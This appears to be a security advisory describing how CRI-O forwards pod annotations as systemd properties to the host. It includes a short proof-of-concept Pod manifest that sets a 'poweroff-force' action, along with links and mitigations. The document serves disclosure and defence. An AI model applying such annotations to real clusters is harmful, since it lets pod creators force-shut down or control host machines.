Impact\nOn CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:\n```\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: poc-arbitrary-systemd-property-injection\n  annotations:\n    # I believe that ExecStart with an arbitrary command works here too,\n    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.\n    org.systemd.property.SuccessAction: \"'poweroff-force'\"\nspec:\n  containers:\n    - name: hello\n      image: [quay.io/podman/hello](http://quay.io/podman/hello)\n```\n\nThis means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.\n\nTested with CRI-O v1.24 on minikube.\nI didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367\n\nThanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:\nhttps://github.com/opencontainers/runc/pull/3923#discussion_r1532292536\n\nCRI-O has to filter out annotations that have the prefix \"org.systemd.property.\"\n\nSee also:\n- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson\n- https://github.com/opencontainers/runc/pull/4217\n\n\n### Workarounds\nUnfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations\n\n###
